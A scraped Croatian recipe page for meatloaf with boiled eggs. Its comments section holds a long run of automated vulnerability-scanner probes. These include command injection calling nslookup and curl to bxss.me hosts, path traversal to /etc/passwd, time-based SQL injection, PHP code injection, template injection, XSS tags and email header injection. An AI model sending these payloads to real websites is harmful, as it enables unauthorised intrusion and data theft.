Mesna štruca

Potrebni sastojci (za kalup duljine 25 cm):

700 g mljevenog mesa (miješanog - pola junetine, pola svinjetine ili samo junetina)

2 bijela peciva ili 2 veće šnite bijelog kruha, obavezno stara dan-dva

malo mlijeka

malo maslaca

1 dl bijelog vina

1 veći luk, sitno nasjeckan

2 režnja češnjaka, usitnjena

100 g dimljene slanine narezane na sitne kockice i prepržene

1 šaka sitnije sjeckanog peršinovog lista

1 jaje

1 dl mineralne vode

1/4 žličice mljevene slatke paprike

sol, papar

4 tvrdo kuhana jaja

Priprema:

Zagrijte pećnicu na 180°C.

Pecivo (ili kruh) narežite ili natrgajte na par manjih komada, stavite u zdjelu i prelijte mlijekom.

Skuhajte 4 jaja.

U većoj tavi zagrijte malo maslaca i/ili ulja, dodajte nasjeckani luk, pa nakon 2-3 minute i kockice slanine i češnjak, pustite da se malo zapeče pa prelijte vinom i kratko kuhajte na jakoj vatri, dok alkohol ne ishlapi (ali aroma ostaje). Ostavite sa strane da se malo ohladi.

U veću zdjelu stavite mljeveno meso, dodajte žemlje koje ste namakali u mlijeku i ocijedili ih od viška mlijeka, dodajte slaninu s lukom i vinom, jaje, slatku papriku, sol, papar, peršinov list i malo mineralne. Sve dobro promiješajte ili još bolje rukom mijesite dok se smjesa fino pomiješa.

Kalup iznutra premažite maslacem, i dno i stranice.

U kalup prvo stavite oko pola mesne smjese, napravite kroz sredinu mali utor, udubljenje, dužinom cijelog kalupa pa tu posložite kuhana jaja, a zatim u kalup dodajte i ostatak smjese od mesa i njome prekrijte jaja.

Kalup sada stavite u duboku lim za pečenje, u lim sipajte vruću vodu, toliko da dođe do oko polovice kalupa s mesom.

Sve stavite u zagrijanu pećnicu i pecite nekih sat vremena na 180°C.

Ako vidite da vam gornji dio štruce prebrzo tamni, zaštitite meso odozgo alu-folijom, ja jesam.

Provjerite je li vaša štruca gotova, možda bude potrebno i duže od jednog sata pečenja- probodite meso u sredini, ako je sok kojeg pusti proziran - meso je gotovo, ako nije - pecite još malo.

Pečenu mesnu štrucu ostavite 15ak minuta da odmara a zatim režite na šnite i poslužite uz pire od krumpira ili neki drugi prilog i sezonsku salatu.

Ja sam napravila osvježavajuću salatu od kristalke, matovilca, daikona (bijele zimske rotkve) i luka.

Dobar tek!

COOKam i guštam

Rate recipe

Recipe publisher:

Burza Hrane

Comments

Add comment

response.write(9612588*9299670)

ghovjnjv 20.11.2023 03:02

'+response.write(9612588*9299670)+'

ghovjnjv 20.11.2023 03:02

"+response.write(9612588*9299670)+"

ghovjnjv 20.11.2023 03:02

echo jkiain$()\ phfppz\nz^xyu||a #' &echo jkiain$()\ phfppz\nz^xyu||a #|" &echo jkiain$()\ phfppz\nz^xyu||a #

ghovjnjv 20.11.2023 03:02

&echo jarqkl$()\ fwddno\nz^xyu||a #' &echo jarqkl$()\ fwddno\nz^xyu||a #|" &echo jarqkl$()\ fwddno\nz^xyu||a #

ghovjnjv 20.11.2023 03:02

555&echo lvmcyj$()\ vkpccu\nz^xyu||a #' &echo lvmcyj$()\ vkpccu\nz^xyu||a #|" &echo lvmcyj$()\ vkpccu\nz^xyu||a #

ghovjnjv 20.11.2023 03:02

|echo hmugly$()\ butxrk\nz^xyu||a #' |echo hmugly$()\ butxrk\nz^xyu||a #|" |echo hmugly$()\ butxrk\nz^xyu||a #

ghovjnjv 20.11.2023 03:02

555|echo ttmpbm$()\ tqcjhm\nz^xyu||a #' |echo ttmpbm$()\ tqcjhm\nz^xyu||a #|" |echo ttmpbm$()\ tqcjhm\nz^xyu||a #

ghovjnjv 20.11.2023 03:02

(nslookup -q=cname hitqshrwmuowo2ae46.bxss.me||curl hitqshrwmuowo2ae46.bxss.me))

ghovjnjv 20.11.2023 03:02

$(nslookup -q=cname hituopbahganb62a9d.bxss.me||curl hituopbahganb62a9d.bxss.me)

ghovjnjv 20.11.2023 03:02

&nslookup -q=cname hitxvovhlzknc7ed91.bxss.me&'\"`0&nslookup -q=cname hitxvovhlzknc7ed91.bxss.me&`'

ghovjnjv 20.11.2023 03:02

&(nslookup -q=cname hitzjjuguouil1e74e.bxss.me||curl hitzjjuguouil1e74e.bxss.me)&'\"`0&(nslookup -q=cname hitzjjuguouil1e74e.bxss.me||curl hitzjjuguouil1e74e.bxss.me)&`'

ghovjnjv 20.11.2023 03:02

|(nslookup -q=cname hitubhnyjuxhle6835.bxss.me||curl hitubhnyjuxhle6835.bxss.me)

ghovjnjv 20.11.2023 03:02

`(nslookup -q=cname hitdmpapbjzifa929d.bxss.me||curl hitdmpapbjzifa929d.bxss.me)`

ghovjnjv 20.11.2023 03:02

;(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)|(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)&(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)

ghovjnjv 20.11.2023 03:02

../../../../../../../../../../../../../../etc/passwd

ghovjnjv 20.11.2023 03:02

../../../../../../../../../../../../../../windows/win.ini

ghovjnjv 20.11.2023 03:02

file:///etc/passwd

ghovjnjv 20.11.2023 03:02

555

bcc:074625.146-157619.146.316b6.19681.2@bxss.me

ghovjnjv 20.11.2023 03:02

to@example.com>

bcc:074625.146-157620.146.316b6.19681.2@bxss.me

ghovjnjv 20.11.2023 03:02

12345'"\'\");|]*{

ghovjnjv 20.11.2023 03:02

${9999991+9999912}

ghovjnjv 20.11.2023 03:02

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

ghovjnjv 20.11.2023 03:02

Http://bxss.me/t/fit.txt

ghovjnjv 20.11.2023 03:02

c:/windows/win.ini

ghovjnjv 20.11.2023 03:02

555&n941080=v904830

ghovjnjv 20.11.2023 03:02

555

ghovjnjv 20.11.2023 03:02

!(()&&!|*|*|

ghovjnjv 20.11.2023 03:02

^(#$!@#$)(()))******

ghovjnjv 20.11.2023 03:02

555

) 20.11.2023 03:02

'.gethostbyname(lc('hitwt'.'eywdynjm54bee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(74).chr(110).chr(84).'

ghovjnjv 20.11.2023 03:02

".gethostbyname(lc("hitqy"."ynrdmvxkab6fb.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(87).chr(98).chr(66)."

ghovjnjv 20.11.2023 03:02

555'&&sleep(27*1000)*spmwfz&&'

ghovjnjv 20.11.2023 03:02

555"&&sleep(27*1000)*euwoxp&&"

ghovjnjv 20.11.2023 03:02

555'||sleep(27*1000)*xucxdo||'

ghovjnjv 20.11.2023 03:02

555"||sleep(27*1000)*glhoid||"

ghovjnjv 20.11.2023 03:02

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

ghovjnjv 20.11.2023 03:02

';print(md5(31337));$a='

ghovjnjv 20.11.2023 03:02

";print(md5(31337));$a="

ghovjnjv 20.11.2023 03:02

${@print(md5(31337))}

ghovjnjv 20.11.2023 03:02

${@print(md5(31337))}\

ghovjnjv 20.11.2023 03:02

'.print(md5(31337)).'

ghovjnjv 20.11.2023 03:02

555

ghovjnjv 20.11.2023 03:03

555

'"() 20.11.2023 03:03

HttP://bxss.me/t/xss.html?%00

ghovjnjv 20.11.2023 03:03

"+"A".concat(70-3).concat(22*4).concat(109).concat(74).concat(100).concat(79)+(require"socket"

Socket.gethostbyname("hitdy"+"lzygbkvnf39b3.bxss.me.")[3].to_s)+"

ghovjnjv 20.11.2023 03:03

bxss.me/t/xss.html?%00

ghovjnjv 20.11.2023 03:03

'+'A'.concat(70-3).concat(22*4).concat(99).concat(69).concat(113).concat(71)+(require'socket'

Socket.gethostbyname('hitav'+'slwmxvql2a7ff.bxss.me.')[3].to_s)+'

ghovjnjv 20.11.2023 03:03

-1 OR 2+948-948-1=0+0+0+1 --

ghovjnjv 20.11.2023 03:03

-1 OR 2+916-916-1=0+0+0+1

ghovjnjv 20.11.2023 03:03

-1' OR 2+193-193-1=0+0+0+1 --

ghovjnjv 20.11.2023 03:03

-1' OR 2+318-318-1=0+0+0+1 or 'h5Hqs0xN'='

ghovjnjv 20.11.2023 03:03

-1" OR 2+456-456-1=0+0+0+1 --

ghovjnjv 20.11.2023 03:03

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

ghovjnjv 20.11.2023 03:03

555

1716 20.11.2023 03:03

555

1716 20.11.2023 03:03

555'"()&%y2cP(9762)

ghovjnjv 20.11.2023 03:03

555

'" 20.11.2023 03:03

555

<!-- 20.11.2023 03:03

'"()&%y2cP(9834)

ghovjnjv 20.11.2023 03:03

bfg8137<s1﹥s2ʺs3ʹhjl8137

ghovjnjv 20.11.2023 03:03

1}}"}}'}}1%>"%>'%>

ghovjnjv 20.11.2023 03:03

if(now()=sysdate(),sleep(15),0)

ghovjnjv 20.11.2023 03:03

dfb{{98991*97996}}xca

ghovjnjv 20.11.2023 03:03

dfb[[${98991*97996}]]xca

ghovjnjv 20.11.2023 03:03

dfb__${98991*97996}__::.x

ghovjnjv 20.11.2023 03:03

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

ghovjnjv 20.11.2023 03:03

555y2cP(9249)

ghovjnjv 20.11.2023 03:03

555IIEB7[!+!]

ghovjnjv 20.11.2023 03:03

555y2cP(9253)

ghovjnjv 20.11.2023 03:03

555y2cP(9795)9795

ghovjnjv 20.11.2023 03:03

555y2cP(9106)

ghovjnjv 20.11.2023 03:03

555y2cP(9789)

ghovjnjv 20.11.2023 03:03

555y2cP(9267)

ghovjnjv 20.11.2023 03:03

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

ghovjnjv 20.11.2023 03:03

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%32%63%50%289653%29%3C%2F%73%43%72%69%70%54%3E

ghovjnjv 20.11.2023 03:03

555\u003CScRiPt\y2cP(9364)\u003C/sCripT\u003E

ghovjnjv 20.11.2023 03:03

555<ScRiPt>y2cP(9642)</sCripT>

ghovjnjv 20.11.2023 03:03

555}body{zzz:Expre/**/SSion(y2cP(9396))}

ghovjnjv 20.11.2023 03:04

555fTF7g

y2cP(9326)

ghovjnjv 20.11.2023 03:04

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

ghovjnjv 20.11.2023 03:04

555H8HFB[!+!]

ghovjnjv 20.11.2023 03:04

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ghovjnjv 20.11.2023 03:04

-1; waitfor delay '0:0:15' --

ghovjnjv 20.11.2023 03:04

-1); waitfor delay '0:0:15' --

ghovjnjv 20.11.2023 03:05

1 waitfor delay '0:0:15' --

ghovjnjv 20.11.2023 03:05

XWKlhsmb'; waitfor delay '0:0:15' --

ghovjnjv 20.11.2023 03:05

-5 OR 935=(SELECT 935 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:06

555

20.11.2023 03:06

-5) OR 846=(SELECT 846 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:06

-1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:06

0NtbInMC' OR 619=(SELECT 619 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:07

tqoH9AG3') OR 417=(SELECT 417 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:07

MAvq0yED')) OR 777=(SELECT 777 FROM PG_SLEEP(15))--

ghovjnjv 20.11.2023 03:07

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ghovjnjv 20.11.2023 03:08

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ghovjnjv 20.11.2023 03:08

555

1'" 20.11.2023 03:17

555

1 20.11.2023 03:17

555'"()&%5pJQ(9322)

ghovjnjv 20.11.2023 13:43

'"()&%5pJQ(9884)

ghovjnjv 20.11.2023 13:43

bfg8868<s1﹥s2ʺs3ʹhjl8868

ghovjnjv 20.11.2023 13:43

1}}"}}'}}1%>"%>'%>

ghovjnjv 20.11.2023 13:44

dfb{{98991*97996}}xca

ghovjnjv 20.11.2023 13:44

dfb[[${98991*97996}]]xca

ghovjnjv 20.11.2023 13:44

dfb__${98991*97996}__::.x

ghovjnjv 20.11.2023 13:44

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

ghovjnjv 20.11.2023 13:44

5555pJQ(9518)

ghovjnjv 20.11.2023 13:44

555MCSXM[!+!]

ghovjnjv 20.11.2023 13:44

5555pJQ(9346)

ghovjnjv 20.11.2023 13:44

5555pJQ(9199)9199

ghovjnjv 20.11.2023 13:44

5555pJQ(9649)

ghovjnjv 20.11.2023 13:44

5555pJQ(9248)

ghovjnjv 20.11.2023 13:44

5555pJQ(9292)

ghovjnjv 20.11.2023 13:44

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%70%4A%51%289940%29%3C%2F%73%43%72%69%70%54%3E

ghovjnjv 20.11.2023 13:45

555\u003CScRiPt\5pJQ(9944)\u003C/sCripT\u003E

ghovjnjv 20.11.2023 13:45

555<ScRiPt>5pJQ(9478)</sCripT>

ghovjnjv 20.11.2023 13:45

555

20.11.2023 13:45

555}body{zzz:Expre/**/SSion(5pJQ(9034))}

ghovjnjv 20.11.2023 13:45

555J6bhR

5pJQ(9503)

ghovjnjv 20.11.2023 13:45

5551HKHC[!+!]

ghovjnjv 20.11.2023 13:46

Make a comment

Netfoodmarket recommends

Linden honey

LIME TREE HONEY

12,50 eur/Unit

Honeydew honey

HONEYDEW

14,00 eur/Unit

Olive oil

Ekstra virgin olive oil, Rozinjola 1l

30,00 eur/Unit